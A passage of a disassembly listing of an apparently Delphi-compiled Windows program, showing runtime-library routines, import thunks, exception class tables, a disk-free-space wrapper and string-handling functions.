		mov	eax, offset dword_409068
		call	sub_402F1C
		retn
sub_4030CC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4030D8	proc near		; CODE XREF: CODE:004081C4p
		push	ebx
		mov	ebx, eax
		xor	eax, eax
		mov	ds:TlsIndex, eax
		push	0
		call	sub_401090	; GetModuleHandleA
		mov	ds:dword_40A4C8, eax
		mov	eax, ds:dword_40A4C8
		mov	ds:dword_40906C, eax
		xor	eax, eax
		mov	ds:dword_409070, eax
		xor	eax, eax
		mov	ds:dword_409074, eax
		call	sub_4030CC
		mov	edx, offset dword_409068
		mov	eax, ebx
		call	sub_402144
		pop	ebx
		retn
sub_4030D8	endp

; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403141
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A4CC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403148


loc_403140:				; CODE XREF: CODE:00403146j
		retn
; ---------------------------------------------------------------------------


loc_403141:				; DATA XREF: CODE:00403122o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_403140
; ---------------------------------------------------------------------------


loc_403148:				; CODE XREF: CODE:loc_403140j
					; DATA XREF: CODE:0040313Bo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_40A4CC, 1
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403179
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A4D4
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403180


loc_403178:				; CODE XREF: CODE:0040317Ej
		retn
; ---------------------------------------------------------------------------


loc_403179:				; DATA XREF: CODE:0040315Ao
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_403178
; ---------------------------------------------------------------------------


loc_403180:				; CODE XREF: CODE:loc_403178j
					; DATA XREF: CODE:00403173o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_40A4D4, 1
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40318C	proc near		; CODE XREF: sub_404E88+53p
					; sub_404E88+7Cp
		jmp	ds:dword_40B168
sub_40318C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403194	proc near		; CODE XREF: CODE:00408223p
					; CODE:00408233p ...
		jmp	ds:dword_40B164
sub_403194	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40319C	proc near		; CODE XREF: sub_405D28+3Fp
		jmp	ds:dword_40B160
sub_40319C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4031A4	proc near		; CODE XREF: sub_405D9C+19p
		jmp	ds:dword_40B15C
sub_4031A4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4031AC	proc near		; CODE XREF: sub_403FE4+21p
		jmp	ds:dword_40B158
sub_4031AC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4031B4	proc near		; CODE XREF: sub_404C00+1Ep
					; sub_404C4C+13p ...
		jmp	ds:dword_40B154
sub_4031B4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4031BC	proc near		; CODE XREF: CODE:004051ADp
					; CODE:004051C8p ...
		jmp	ds:dword_40B150
sub_4031BC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4031C4	proc near		; CODE XREF: sub_406320+6p
					; sub_407CDC+43p
		jmp	ds:dword_40B14C
sub_4031C4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4031CC	proc near		; CODE XREF: sub_406320+17p
					; sub_406B18+A3p ...
		jmp	ds:dword_40B148
sub_4031CC	endp

; ---------------------------------------------------------------------------
		align 4
		jmp	ds:dword_40B144
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4031DC	proc near		; CODE XREF: sub_405E14+F4p
		jmp	ds:dword_40B140
sub_4031DC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4031E4	proc near		; CODE XREF: sub_404CB0+1Cp
					; sub_404E88+18p ...
		jmp	ds:dword_40B13C
sub_4031E4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4031EC	proc near		; CODE XREF: sub_405B58+Ep
		jmp	ds:dword_40B138
sub_4031EC	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4031F4	proc near		; CODE XREF: sub_406B18+57p
					; sub_406B18+7Bp ...
		jmp	ds:dword_40B134
sub_4031F4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4031FC	proc near		; CODE XREF: CODE:00405189p
					; sub_4057C0+6Bp
		jmp	ds:dword_40B130
sub_4031FC	endp

; ---------------------------------------------------------------------------
		align 4
		jmp	ds:dword_40B12C
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40320C	proc near		; CODE XREF: sub_405C64+Dp
		jmp	ds:dword_40B17C
sub_40320C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_403214	proc near		; CODE XREF: sub_405E14+11Fp
					; sub_405E14+130p
		jmp	ds:dword_40B178
sub_403214	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_40321C	proc near		; CODE XREF: CODE:0040525Ep
		jmp	ds:dword_40B174
sub_40321C	endp

; ---------------------------------------------------------------------------
		align 4
		jmp	ds:dword_40B170
; ---------------------------------------------------------------------------
		align 4
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403251
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A4D8
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403258


loc_403250:				; CODE XREF: CODE:00403256j
		retn
; ---------------------------------------------------------------------------


loc_403251:				; DATA XREF: CODE:00403232o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_403250
; ---------------------------------------------------------------------------


loc_403258:				; CODE XREF: CODE:loc_403250j
					; DATA XREF: CODE:0040324Bo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_40A4D8, 1
		retn
; ---------------------------------------------------------------------------
off_403264	dd offset dword_40A4C8	; DATA XREF: DATA:off_4092DCo
		dd 0FFF0h
off_40326C	dd offset dword_40A4C8	; DATA XREF: DATA:off_4092D4o
dword_403270	dd 0FFF1h, 40A4C8h, 0FFF2h, 40A4C8h, 0FFF3h, 40A4C8h, 0FFF4h
					; DATA XREF: DATA:00409320o
					; DATA:004093BCo
		dd 40A4C8h, 0FFF5h, 40A4C8h, 0FFF6h, 40A4C8h, 0FFF7h, 40A4C8h
		dd 0FFF8h, 40A4C8h, 0FFF9h, 40A4C8h, 0FFFAh, 40A4C8h, 0FFFBh
		dd 40A4C8h, 0FFFCh, 40A4C8h, 0FFFDh, 40A4C8h, 0FFFEh, 40A4C8h
		dd 0FFFFh
		dd offset dword_40A4C8	; DATA XREF: DATA:off_409364o
dword_4032E8	dd 0FFE0h, 40A4C8h, 0FFE1h ; DATA XREF:	DATA:004093DCo
		dd offset dword_40A4C8	; DATA XREF: DATA:off_4093B8o
dword_4032F8	dd 0FFE2h, 40A4C8h, 0FFE3h, 40A4C8h, 0FFE4h, 40A4C8h, 0FFE5h
					; DATA XREF: DATA:00409314o
					; DATA:00409318o
		dd offset dword_40A4C8	; DATA XREF: DATA:off_4093D8o
dword_403318	dd 0FFE6h, 40A4C8h, 0FFE7h ; DATA XREF:	DATA:004092D8o
off_403324	dd offset dword_40A4C8	; DATA XREF: DATA:off_4090CCo
					; DATA:off_4092E8o
dword_403328	dd 0FFE8h, 40A4C8h, 0FFE9h, 40A4C8h, 0FFEAh ; DATA XREF: DATA:off_4090D0o
					; DATA:off_409328o ...
		dd offset dword_40A4C8	; DATA XREF: DATA:off_4093E4o
; ---------------------------------------------------------------------------
		jmp	short near ptr loc_403340+1 ; CODE XREF: CODE:loc_403340j
; ---------------------------------------------------------------------------
		align 4
		dd offset dword_40A4C8	; DATA XREF: DATA:off_40937Co
dword_403348	dd 0FFECh, 40A4C8h, 0FFEDh, 40A4C8h, 0FFEEh, 40A4C8h, 0FFEFh
					; DATA XREF: DATA:0040932Co
					; DATA:0040939Co
		dd 40A4C8h, 0FFD0h, 40A4C8h, 0FFD1h
		dd offset dword_40A4C8	; DATA XREF: DATA:off_4092ACo
		dd 0FFD2h
		dd offset dword_40A4C8	; DATA XREF: DATA:off_409388o
dword_403380	dd 0FFD3h, 40A4C8h, 0FFD4h, 40A4C8h, 0FFD5h ; DATA XREF: DATA:00409334o
					; DATA:00409378o
		dd offset dword_40A4C8	; DATA XREF: DATA:off_4093A8o
		dd 0FFD6h, 40A4C8h, 0FFD7h
		dd offset dword_40A4C8	; DATA XREF: DATA:off_4093A0o
		dd 0FFD8h
off_4033AC	dd offset dword_40A4C8	; DATA XREF: DATA:off_4090E4o
					; DATA:off_4093D4o
dword_4033B0	dd 0FFD9h, 40A4C8h, 0FFDAh, 40A4C8h, 0FFDBh, 40A4C8h, 0FFDCh
					; DATA XREF: DATA:off_4090E8o
					; DATA:off_40934Co ...
		dd 40A4C8h, 0FFDDh, 40A4C8h, 0FFDEh, 40A4C8h, 0FFDFh, 40A4C8h
		dd 0FFC0h, 40A4C8h, 0FFC1h, 40A4C8h, 0FFC2h, 40A4C8h, 0FFC3h
		dd 40A4C8h, 0FFC4h
off_40340C	dd offset dword_40A4C8	; DATA XREF: DATA:off_409114o
					; DATA:off_409330o
dword_403410	dd 0FFC5h, 40A4C8h, 0FFC6h, 40A4C8h, 0FFC7h, 40A4C8h, 0FFC8h
					; DATA XREF: DATA:off_409118o
					; DATA:off_409298o ...
		dd 40A4C8h, 0FFC9h, 40A4C8h, 0FFCAh, 40A4C8h, 0FFCBh, 40A4C8h
		dd 0FFCCh, 40A4C8h, 0FFCDh, 40A4C8h, 0FFCEh, 40A4C8h, 0FFCFh
		dd 40A4C8h, 0FFB0h
off_40346C	dd offset dword_40A4C8	; DATA XREF: DATA:off_409144o
					; DATA:off_409370o
dword_403470	dd 0FFB1h, 40A4C8h, 0FFB2h, 40A4C8h, 0FFB3h, 40A4C8h, 0FFB4h
					; DATA XREF: DATA:off_409148o
					; DATA:off_409390o ...
		dd 40A4C8h, 0FFB5h, 40A4C8h, 0FFB6h, 40A4C8h, 0FFB7h
off_4034A4	dd offset dword_40A4C8	; DATA XREF: DATA:off_409160o
					; DATA:off_4092B8o
dword_4034A8	dd 0FFB8h, 40A4C8h, 0FFB9h, 40A4C8h, 0FFBAh, 40A4C8h, 0FFBBh
					; DATA XREF: DATA:off_409164o
					; DATA:off_4092C4o ...
		dd 40A4C8h, 0FFBCh, 40A4C8h, 0FFBDh, 40A4C8h, 0FFBEh
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		push	ebp
		push	offset loc_403501
		push	dword ptr fs:[eax]
		mov	fs:[eax], esp
		inc	ds:dword_40A4DC
		xor	eax, eax
		pop	edx
		pop	ecx
		pop	ecx
		mov	fs:[eax], edx
		push	offset loc_403508


loc_403500:				; CODE XREF: CODE:00403506j
		retn
; ---------------------------------------------------------------------------


loc_403501:				; DATA XREF: CODE:004034E2o
		jmp	loc_401FBC
; ---------------------------------------------------------------------------
		jmp	short loc_403500
; ---------------------------------------------------------------------------


loc_403508:				; CODE XREF: CODE:loc_403500j
					; DATA XREF: CODE:004034FBo
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 4
		sub	ds:dword_40A4DC, 1
		retn
; ---------------------------------------------------------------------------
off_403514	dd offset dword_403560	; DATA XREF: CODE:0040520Er
					; sub_405A68+49r
		align 10h
		dd offset dword_403560
		dd 4 dup(0)
		dd offset word_403572
		dd 0Ch,	40100Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403560	dd 0Eh,	10000h,	10000000h, 40040h ; DATA XREF: CODE:off_403514o
					; CODE:00403520o
		db 2 dup(0)
word_403572	dw 4509h		; DATA XREF: CODE:00403534o
		dd 70656378h, 6E6F6974h, 4035C8h, 7 dup(0)
		dd offset dword_4035C8
		dd 10h,	403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 405538h, 401A74h
dword_4035C8	dd 6548450Eh, 78457061h, 74706563h, 906E6F69h ;	DATA XREF: CODE:0040359Co
off_4035D8	dd offset dword_403624	; DATA XREF: sub_405A68+8r
		dd 7 dup(0)
		dd offset dword_403624
		dd 10h,	40357Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 405538h, 401A74h
dword_403624	dd 754F450Ch, 4D664F74h, 726F6D65h, 408D79h ; DATA XREF: CODE:off_4035D8o
					; CODE:004035F8o
off_403634	dd offset dword_403680	; DATA XREF: sub_405564+2Dr
					; sub_405564+4Cr
		dd 7 dup(0)
		dd offset dword_403680
		dd 10h,	403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403680	dd 6E49450Bh, 4574754Fh, 726F7272h ; DATA XREF:	CODE:off_403634o
					; CODE:00403654o
off_40368C	dd offset dword_4036D8	; DATA XREF: sub_40598C+90r
		dd 7 dup(0)
		dd offset dword_4036D8
		dd 10h,	403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_4036D8	dd 78454509h, 6E726574h, 0C08B6C61h ; DATA XREF: CODE:off_40368Co
					; CODE:004036ACo
off_4036E4	dd offset dword_403730	; DATA XREF: sub_40598C+82r
		dd 7 dup(0)
		dd offset dword_403730
		dd 10h,	40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403730	dd 78454512h, 6E726574h, 78456C61h, 74706563h, 906E6F69h
					; DATA XREF: CODE:off_4036E4o
					; CODE:00403704o ...
		dd 403790h, 7 dup(0)
		dd offset aEinterrorlS7@ ; "\tEIntError7@"
		dd 10h,	40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
aEinterrorlS7@	db 9,'EIntError7@',0 ; DATA XREF: CODE:00403764o
		dd 7 dup(0)
		dd offset aEdivbyzeror@8@ ; "\nEDivByZero@8@"
		dd 10h,	403744h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
aEdivbyzeror@8@	db 0Ah			; DATA XREF: CODE:004037BCo
					; DATA:off_4091B4o
		db 'EDivByZero@8@',0
		dd 7 dup(0)
		dd offset aErangeerrors8@ ; "\vERangeError8@"
		dd 10h,	403744h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
aErangeerrors8@	db 0Bh,'ERangeError8@',0 ; DATA XREF: CODE:00403814o
					; DATA:004091BCo
		dd 7 dup(0)
		dd offset dword_403898
		dd 10h,	403744h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403898	dd 6E49450Ch, 65764F74h, 6F6C6672h, 408D77h, 4038F4h, 7	dup(0)
					; DATA XREF: CODE:0040386Co
					; DATA:004091C4o
		dd offset aEmatherrorrl9@ ; "\nEMathErrorL9@"
		dd 10h,	40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
aEmatherrorrl9@	db 0Ah			; DATA XREF: CODE:004038C8o
		db 'EMathErrorL9@',0
		dd 7 dup(0)
		dd offset aEinvalidoprd9@ ; "\nEInvalidOp9@"
		dd 10h,	4038A8h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
aEinvalidoprd9@	db 0Ah			; DATA XREF: CODE:00403920o
					; DATA:004091CCo
		db 'EInvalidOp9@',0
		dd 7 dup(0)
		dd offset dword_4039A4
		dd 10h,	4038A8h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_4039A4	dd 655A450Bh, 69446F72h, 65646976h, 4039FCh, 7 dup(0)
					; DATA XREF: CODE:00403978o
					; DATA:004091D4o
		dd offset aEoverflowlT@	; "\tEOverflowT:@"
		dd 10h,	4038A8h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
aEoverflowlT@	db 9,'EOverflowT:@',0 ; DATA XREF: CODE:004039D0o
					; DATA:004091DCo
		dd 7 dup(0)
		dd offset dword_403A54
		dd 10h,	4038A8h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403A54	dd 6E55450Ah, 66726564h, 90776F6Ch ; DATA XREF:	CODE:00403A28o
					; DATA:004091E4o
off_403A60	dd offset dword_403AAC	; DATA XREF: sub_405A68+1Fr
		dd 7 dup(0)
		dd offset dword_403AAC
		dd 10h,	40357Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 405538h, 401A74h
dword_403AAC	dd 6E49450Fh, 696C6176h, 696F5064h, 7265746Eh, 403B08h
					; DATA XREF: CODE:off_403A60o
					; CODE:00403A80o
		dd 7 dup(0)
		dd offset dword_403B08
		dd 0Ch,	403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403B08	dd 6E49450Ch, 696C6176h, 73614364h, 408D74h ; DATA XREF: CODE:00403ADCo
					; DATA:004091ECo
off_403B18	dd offset dword_403B64	; DATA XREF: sub_403F08+Fr
		dd 7 dup(0)
		dd offset dword_403B64
		dd 0Ch,	403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403B64	dd 6F43450Dh, 7265766Eh, 72724574h, 0C08B726Fh ; DATA XREF: CODE:off_403B18o
					; CODE:00403B38o
off_403B74	dd offset dword_403BC0	; DATA XREF: sub_4057C0+122r
					; sub_4057C0+17Er
		dd 7 dup(0)
		dd offset dword_403BC0
		dd 10h,	40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403BC0	dd 63414510h, 73736563h, 6C6F6956h, 6F697461h, 408D6Eh
					; DATA XREF: CODE:off_403B74o
					; CODE:00403B94o ...
		dd 403C20h, 7 dup(0)
		dd offset aEprivilegerx@ ; "\nEPrivilegex<@"
		dd 10h,	40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
aEprivilegerx@	db 0Ah			; DATA XREF: CODE:00403BF4o
					; DATA:004091FCo
		db 'EPrivilegex<@',0
		dd 7 dup(0)
		dd offset dword_403C78
		dd 10h,	40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403C78	dd 7453450Eh, 4F6B6361h, 66726576h, 90776F6Ch, 403CD4h
					; DATA XREF: CODE:00403C4Co
					; DATA:0040920Co
		dd 7 dup(0)
		dd offset aEcontrolcl@	; "\tEControlC,=@"
		dd 10h,	40368Ch, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
aEcontrolcl@	db 9,'EControlC,=@',0 ; DATA XREF: CODE:00403CA8o
					; DATA:00409204o
		dd 7 dup(0)
		dd offset dword_403D2C
		dd 0Ch,	403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403D2C	dd 6156450Dh, 6E616972h, 72724574h, 0C08B726Fh ; DATA XREF: CODE:00403D00o
					; DATA:00409214o ...
off_403D3C	dd offset dword_403D88	; DATA XREF: sub_405638+72r
		dd 7 dup(0)
		dd offset dword_403D88
		dd 0Ch,	403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403D88	dd 73414510h, 74726573h, 466E6F69h, 656C6961h, 408D64h
					; DATA XREF: CODE:off_403D3Co
					; CODE:00403D5Co ...
		dd 403DE8h, 7 dup(0)
		dd offset dword_403DE8
		dd 0Ch,	403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403DE8	dd 6241450Eh, 61727473h, 72457463h, 90726F72h, 403E44h
					; DATA XREF: CODE:00403DBCo
		dd 7 dup(0)
		dd offset dword_403E44
		dd 0Ch,	403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403E44	dd 6E49450Eh, 61436674h, 72457473h, 90726F72h, 403EA0h
					; DATA XREF: CODE:00403E18o
					; DATA:00409254o
		dd 7 dup(0)
		dd offset dword_403EA0
		dd 0Ch,	403514h, 401B70h, 401B7Ch, 401B80h, 401B84h, 401B78h
		dd 401A3Ch, 401A58h, 401A74h
dword_403EA0	dd 61534512h, 61636566h, 78456C6Ch, 74706563h, 906E6F69h
					; DATA XREF: CODE:00403E74o
					; DATA:0040925Co
off_403EB4	dd offset dword_403EB8	; DATA XREF: CODE:004066EBr
dword_403EB8	dd 332E0311h, 434h, 40100000h, 4800h, 40100000h, 79530800h
					; DATA XREF: CODE:off_403EB4o
		dd 69745573h, 0C08B736Ch
off_403ED8	dd offset dword_403EDC	; DATA XREF: CODE:004066DBr
dword_403EDC	dd 342E0311h, 434h, 40100000h, 4800h, 40100000h, 79530800h
					; DATA XREF: CODE:off_403ED8o
		dd 69745573h, 0C08B736Ch, 0FFFFFFFFh, 1, 24h

; =============== S U B	R O U T	I N E =======================================



sub_403F08	proc near		; CODE XREF: sub_404118+4Cp
		push	ebx
		push	esi
		push	edi
		mov	edi, ecx
		mov	esi, edx
		mov	ebx, eax
		push	esi
		push	edi
		mov	ecx, ebx
		mov	dl, 1
		mov	eax, off_403B18
		call	sub_4054A4
		call	sub_401FF4
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403F08	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403F2C	proc near		; CODE XREF: sub_404E10+3Ep
					; sub_404E88+34p ...

var_8		= dword	ptr -8

		push	ebx
		push	ecx
		mov	ebx, edx
		mov	edx, esp
		call	sub_401654
		cmp	[esp+8+var_8], 0
		jz	short loc_403F3F
		mov	eax, ebx


loc_403F3F:				; CODE XREF: sub_403F2C+Fj
		pop	edx
		pop	ebx
		retn
sub_403F2C	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 1, 30h, 0FFFFFFFFh, 2, 312Dh

; =============== S U B	R O U T	I N E =======================================



sub_403F5C	proc near		; CODE XREF: sub_403FAC+Ep
		push	ebx
		push	esi
		push	edi
		push	ebp
		mov	esi, edx
		mov	ebx, eax
		mov	eax, esi
		call	sub_40255C
		mov	edi, eax
		mov	eax, ebx
		call	sub_4026E0
		mov	ebp, eax
		test	edi, edi
		jle	short loc_403FA2


loc_403F7A:				; CODE XREF: sub_403F5C+44j
		mov	bl, [esi+edi-1]
		test	bl, bl
		jz	short loc_403F9D
		mov	edx, ebx
		mov	eax, ebp
		call	sub_4040F8
		test	eax, eax
		jz	short loc_403F9D
		mov	edx, edi
		mov	eax, esi
		call	sub_405C28
		cmp	al, 2
		jnz	short loc_403FA2
		dec	edi


loc_403F9D:				; CODE XREF: sub_403F5C+24j
					; sub_403F5C+31j
		dec	edi
		test	edi, edi
		jg	short loc_403F7A


loc_403FA2:				; CODE XREF: sub_403F5C+1Cj
					; sub_403F5C+3Ej
		mov	eax, edi
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403F5C	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_403FAC	proc near		; CODE XREF: sub_4057C0+CCp
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		mov	ebx, eax
		mov	edx, ebx
		mov	eax, offset dword_403FE0
		call	sub_403F5C
		mov	esi, eax
		push	edi
		lea	edx, [esi+1]
		mov	ecx, 7FFFFFFFh
		mov	eax, ebx
		call	sub_402734
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_403FAC	endp

; ---------------------------------------------------------------------------
		align 4
		dd 0FFFFFFFFh, 2
dword_403FE0	dd 3A5Ch		; DATA XREF: sub_403FAC+9o

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403FE4	proc near		; DATA XREF: sub_406320+2Ao

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	ebx
		mov	eax, [ebp+arg_0]
		test	eax, eax
		jnz	short loc_403FF4
		xor	eax, eax


loc_403FF4:				; CODE XREF: sub_403FE4+Cj
		lea	edx, [ebp+var_10]
		push	edx
		lea	edx, [ebp+var_C]
		push	edx
		lea	edx, [ebp+var_8]
		push	edx
		lea	edx, [ebp+var_4]
		push	edx
		push	eax
		call	sub_4031AC	; GetDiskFreeSpaceA
		mov	ebx, eax
		mov	eax, [ebp+var_4]
		imul	[ebp+var_8]
		xor	edx, edx
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_402974
		mov	ecx, [ebp+arg_4]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, [ebp+var_10]
		xor	edx, edx
		push	edx
		push	eax
		mov	eax, [ebp+var_18]
		mov	edx, [ebp+var_14]
		call	sub_402974
		mov	ecx, [ebp+arg_8]
		mov	[ecx], eax
		mov	[ecx+4], edx
		mov	eax, ebx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn	10h
sub_403FE4	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_404058	proc near		; CODE XREF: sub_4045A4+16p
					; CODE:00405229p ...
		mov	edx, edi
		mov	edi, eax
		mov	ecx, 0FFFFFFFFh
		xor	al, al
		repne scasb
		mov	eax, 0FFFFFFFEh
		sub	eax, ecx
		mov	edi, edx
		retn
sub_404058	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404070	proc near		; CODE XREF: sub_404118+2Bp
		push	esi
		mov	esi, eax
		xchg	eax, edx
		call	sub_4012DC
		mov	eax, esi
		pop	esi
		retn
sub_404070	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_404080	proc near		; CODE XREF: CODE:004051FDp
		push	edi
		push	esi
		push	ebx
		mov	esi, eax
		mov	edi, edx
		mov	ebx, ecx
		xor	al, al
		test	ecx, ecx
		jz	short loc_404094
		repne scasb
		jnz	short loc_404094
		inc	ecx


loc_404094:				; CODE XREF: sub_404080+Dj
					; sub_404080+11j
		sub	ebx, ecx
		mov	edi, esi
		mov	esi, edx
		mov	edx, edi
		mov	ecx, ebx
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		stosb
		mov	eax, edx
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_404080	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_4040B4	proc near		; CODE XREF: sub_404F38+109p
					; sub_404F38+12Fp ...
		push	edi
		push	esi
		push	ebx
		mov	edi, edx
		mov	esi, eax
		mov	ebx, ecx
		xor	eax, eax
		or	ecx, ecx
		jz	short loc_4040F2
		repne scasb
		sub	ebx, ecx
		mov	ecx, ebx
		mov	edi, edx
		xor	edx, edx


loc_4040CD:				; CODE XREF: sub_4040B4+3Cj
		repe cmpsb
		jz	short loc_4040F2
		mov	al, [esi-1]
		cmp	al, 61h
		jb	short loc_4040DE
		cmp	al, 7Ah
		ja	short loc_4040DE
		sub	al, 20h


loc_4040DE:				; CODE XREF: sub_4040B4+22j
					; sub_4040B4+26j
		mov	dl, [edi-1]
		cmp	dl, 61h
		jb	short loc_4040EE
		cmp	dl, 7Ah
		ja	short loc_4040EE
		sub	dl, 20h


loc_4040EE:				; CODE XREF: sub_4040B4+30j
					; sub_4040B4+35j
		sub	eax, edx
		jz	short loc_4040CD


